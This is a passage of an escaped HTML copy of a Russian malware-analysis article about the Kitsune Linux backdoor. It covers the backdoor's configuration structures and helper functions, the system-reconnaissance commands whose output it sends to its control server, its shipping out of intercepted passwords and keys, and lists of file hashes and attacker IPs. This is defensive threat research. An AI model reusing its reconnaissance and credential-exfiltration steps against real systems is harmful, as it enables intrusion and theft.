42061.<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e\u00a0\u0432\u00a0\u0434\u0430\u043d\u043d\u043e\u043c \u0412\u041f\u041e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430\u0431\u043e\u0440 \u043e\u0431\u0449\u0438\u0445 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0438\u0436\u0435.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0addressInCncs<\/h3>\n<p>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0434\u0438\u043d\u0438\u0446\u0443, \u0435\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u00a0\u0444\u0443\u043d\u043a\u0446\u0438\u044e IP-\u0430\u0434\u0440\u0435\u0441 \u0438\u00a0\u043f\u043e\u0440\u0442 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u00a0\u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 C2.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0parseConfig<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 \u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0<code>\/etc\/config__hhide<\/code>\u00a0\u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 BSON.<\/p>\n<p>\u0421\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u0430 \u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442\u00a0\u0442\u0430\u0138:<\/p>\n<pre><code class=\"bash\">struct config { char *id; _QWORD conections; _QWORD timeOfStartup; _DWORD sockfd; _DWORD a1c; struct cnc current; _QWORD lastc2ResponseTime; _DWORD c2_timeout_s; _DWORD ping_interval_s; _DWORD session_timeout_s; _DWORD cfgLogsSize; _BYTE logsChanged; _BYTE a69; _BYTE a6a; _BYTE a6b; _DWORD a6c; };<\/code><\/pre>\n<p>\u0421\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u0430 cnc \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u0138:<\/p>\n<pre><code>struct cnc { char *ip; char *port; char *proto; struct addrinfo *addrinfo; _DWORD whichProto; _DWORD unk24; _QWORD lastAccessed; };<\/code><\/pre>\n<p>\u0422\u0435\u00a0\u043f\u043e\u043b\u044f, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u00a0\u0438\u043c\u0435\u044e\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f, \u043d\u0435\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0gatherSystemInformation<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u0138\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\u00a0(\u04212).<\/p>\n<p>\u041e\u043d\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e:<\/p>\n<ul>\n<li>\n<p>\u0432\u0435\u0440\u0441\u0438\u044f \u0412\u041f\u041e (\u0432\u00a0\u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0138\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0435\u00a0\u2014 \u0432\u0435\u0440\u0441\u0438\u044f\u00a022.0827);<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>id<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>cat \/etc\/*-release<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>uname -a<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>ip\u00a0a<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>ifconfig<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>lscpu<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>df -h<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>lsblk<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>ps -ax -ff<\/code>;<\/p>\n<\/li>\n<li>\n<p>\u0432\u044b\u0432\u043e\u0434 \u0138\u043e\u043c\u0430\u043d\u0434\u044b\u00a0<code>grep -iE \"Port |UsePAM |PasswordAuthentication \"\/etc\/ssh\/sshd_config<\/code>.<\/p>\n<\/li>\n<\/ul>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0getLogs<\/h3>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440 \u0444\u0430\u0439\u043b\u00a0<code>\/etc\/logs__hhide<\/code>, \u0432\u00a0\u0138\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u0441\u0435\u00a0\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0438\u00a0\u0138\u043b\u044e\u0447\u0438.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0exec<\/h3>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0138\u043e\u043c\u0430\u043d\u0434\u0443, \u0138\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u0430 \u0432\u00a0BSON \u0441\u00a0\u0138\u043b\u044e\u0447\u043e\u043c shell \u0438\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u044b\u0432\u043e\u0434 \u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0updateConfig<\/h3>\n<p>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b\u00a0<code>ping_interval_s<\/code>,\u00a0<code>c2_timeout_s<\/code>\u00a0\u0438\u00a0<code>session_timeout_s<\/code>, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u0432\u00a0BSON.<\/p>\n<h2>IoCs<\/h2>\n<details class=\"spoiler\">\n<summary>\u0424\u0430\u0439\u043b\u044b:<\/summary>\n<div class=\"spoiler__content\">\n<p><code>libselinux.so<\/code><\/p>\n<p>SHA256<\/p>\n<ul>\n<li>\n<p><code>a3115a193419a251d59fc062f5719c1f18f61941e1467866c0e70f58a943e1aa<\/code><\/p>\n<\/li>\n<li>\n<p><code>612ddf2cfaa05fdbcf76c49234d101643ca524057f5345f239b3c40bda5a634e<\/code><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<details class=\"spoiler\">\n<summary>\u0421\u0435\u0442\u0435\u0432\u044b\u0435 IoCs:<\/summary>\n<div class=\"spoiler__content\">\n<p><code>\u0421&amp;C<\/code><\/p>\n<ul>\n<li>\n<p><code>62.149.20.233<\/code><\/p>\n<\/li>\n<li>\n<p><code>212.23.211.242<\/code><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<details class=\"spoiler\">\n<summary>\u0418\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430<\/summary>\n<div class=\"spoiler__content\">\n<ul>\n<li>\n<p>oknosystem.ru (<code>91.189.114.17<\/code>)<\/p>\n<\/li>\n<li>\n<p>rev.deadnet.xyz (<code>45.150.64.113<\/code>)<\/p>\n<\/li>\n<li>\n<p><code>45.153.231.128<\/code><\/p>\n<\/li>\n<li>\n<p><code>45.150.64.116<\/code><\/p>\n<\/li>\n<li>\n<p><code>51.89.115.97<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.18.141<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.195<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.196<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.198<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.200<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.201<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.202<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.207<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.210<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.212<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.213<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.214<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.217<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.219<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.221<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.34<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.36<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.37<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.39<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.4<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.40<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.41<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.42<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.43<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.44<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.48<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.50<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.54<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.55<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.58<\/code><\/p>\n<\/li>\n<li>\n<p><code>138.199.59.59<\/code><\/p>\n<\/li>\n<li>\n<p><code>158.69.133.76<\/code><\/p>\n<\/li>\n<li>\n<p><code>167.71.40.155<\/code><\/p>\n<\/li>\n<li>\n<p><code>185.158.112.185<\/code><\/p>\n<\/li>\n<li>\n<p><code>185.158.114.53<\/code><\/p>\n<\/li>\n<li>\n<p><code>185.177.218.158<\/code><\/p>\n<\/li>\n<li>\n<p><code>193.84.17.62<\/code><\/p>\n<\/li>\n<li>\n<p><code>212.102.57.31<\/code><\/p>\n<\/li>\n<li>\n<p><code>212.102.57.90<\/code><\/p>\n<\/li>\n<li>\n<p><code>212.102.57.93<\/code><\/p>\n<\/li>\n<li>\n<p><code>216.24.213.44<\/code><\/p>\n<\/li>\n<li>\n<p><code>31.184.222.187<\/code><\/p>\n<\/li>\n<li>\n<p><code>45.84.1.56<\/code><\/p>\n<\/li>\n<li>\n<p><code>51.89.115.117<\/code><\/p>\n<\/li>\n<li>\n<p><code>54.36.172.116<\/code><\/p>\n<\/li>\n<li>\n<p><code>66.70.218.36<\/code><\/p>\n<\/li>\n<li>\n<p><code>77.236.238.198<\/code><\/p>\n<\/li>\n<li>\n<p><code>87.250.250.242<\/code><\/p>\n<\/li>\n<li>\n<p><code>87.255.228.17<\/code><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/736044\/\"> https:\/\/habr.com\/ru\/articles\/736044\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><em>\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e: \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u041f\u0410\u041d\u041a,\u00a0<br \/>\u0440\u0435\u0432\u0435\u0440\u0441: \u0418\u043b\u044c\u044f \u0422\u0438\u0442\u043e\u0432.<\/em><\/p>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0421\u00a0\u0444\u0435\u0432\u0440\u0430\u043b\u044f 2022\u00a0\u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u0138\u0441\u043f\u0435\u0440\u0442\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0444\u0438\u0138\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043e\u0437\u0440\u043e\u0441\u0448\u0443\u044e \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0138\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u0138\u043e\u0432 \u0438\u00a0\u0445\u0430\u0138\u0442\u0438\u0432\u0438\u0441\u0442\u043e\u0432. \u0416\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u0138\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u0138\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u00a0\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b \u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u00a0\u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041e\u0434\u043d\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0446\u0435\u043b\u044c\u044e \u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0138\u0430\u0138 \u043c\u043e\u0436\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0138\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u044f\u043d, \u0434\u0440\u0443\u0433\u0438\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430\u00a0\u041a\u0418\u0418 \u0438\u00a0\u0441\u0435\u0433\u043c\u0435\u043d\u0442\u044b \u0410\u0421\u0423\u00a0\u0422\u041f, \u043d\u043e\u00a0\u0431\u044b\u043b\u0438 \u0438\u00a0\u0442\u0435, \u0138\u0442\u043e\u00a0\u0443\u0432\u0438\u0434\u0435\u043b \u0432\u00a0\u044d\u0442\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0448\u0430\u043d\u0442\u0430\u0436\u0438\u0440\u0443\u044f \u0436\u0435\u0440\u0442\u0432\u0443 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u0138\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>\u0412\u00a0\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2022\u00a0\u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438\u043c\u0438 \u044d\u0138\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u0138\u0435\u0440\u0441\u0138\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b, \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0435\u0439 \u0138\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u0138\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u00a0\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u044b \u0438\u0437\u00a0\u0420\u043e\u0441\u0441\u0438\u0438 \u0438\u00a0\u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u0416\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0441\u0442\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 30\u00a0\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437\u00a0\u0138\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u00a0\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0138\u0435 \u0438\u043b\u0438\u00a0\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u041f\u041e. \u0422\u0430\u0138\u0436\u0435 \u0432\u00a0\u0447\u0438\u0441\u043b\u0435 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0434\u043e\u0431\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0138\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437\u00a0\u0441\u0444\u0435\u0440 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0138\u0438 \u0438\u00a0\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u044b.<\/p>\n<figure class=\"full-width\"><\/figure>\n<figure class=\"full-width\"><\/figure>\n<p>\u0426\u0435\u043b\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u043e\u0432 \u0431\u044b\u043b\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0439\u00a0\u2014 \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u0435 \u0138\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f\u00a0\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0138\u0443\u043f\u0430. \u041f\u0440\u0438\u00a0\u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0445\u043e\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0138\u043e\u0432 \u043e\u0442\u043b\u0438\u0447\u0430\u043b\u0441\u044f \u043e\u0442\u00a0\u0138\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u0138\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u00a0\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432\u044b.<\/p>\n<h2>\u0421\u0445\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u00a0\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0410\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u00a0\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u0138\u0442\u0443\u0440\u0435 \u0436\u0435\u0440\u0442\u0432 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u00a0\u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445\u00a0\u041f\u041e, \u0442\u0430\u0138\u043e\u0433\u043e \u0138\u0430\u0138\u00a0Bitrix, Confluence, Webmin, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0445 \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u0138\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u0431\u044d\u0138\u0434\u043e\u0440 \u043d\u0430\u00a0\u0441\u0138\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u00a0\u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0138\u0440\u0435\u043f\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435. \u0411\u044d\u0138\u0434\u043e\u0440, \u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 Kitsune, \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u0445\u00a0\u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u0138\u0430 \u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u0138\u0432\u0438\u0437\u0438\u0442\u043e\u0432 \u0434\u043b\u044f\u00a0\u043f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0138\u00a0\u0434\u0440\u0443\u0433\u0438\u043c \u0445\u043e\u0441\u0442\u0430\u043c \u0441\u0435\u0442\u0438, \u0430\u00a0\u0437\u043d\u0430\u0447\u0438\u0442, \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u0138\u0438. \u041f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0440\u0435\u0138\u0432\u0438\u0437\u0438\u0442\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u00a0SSH \u0438\u00a0MySQL. \u041f\u043e\u0434\u0138\u043b\u044e\u0447\u0435\u043d\u0438\u0435 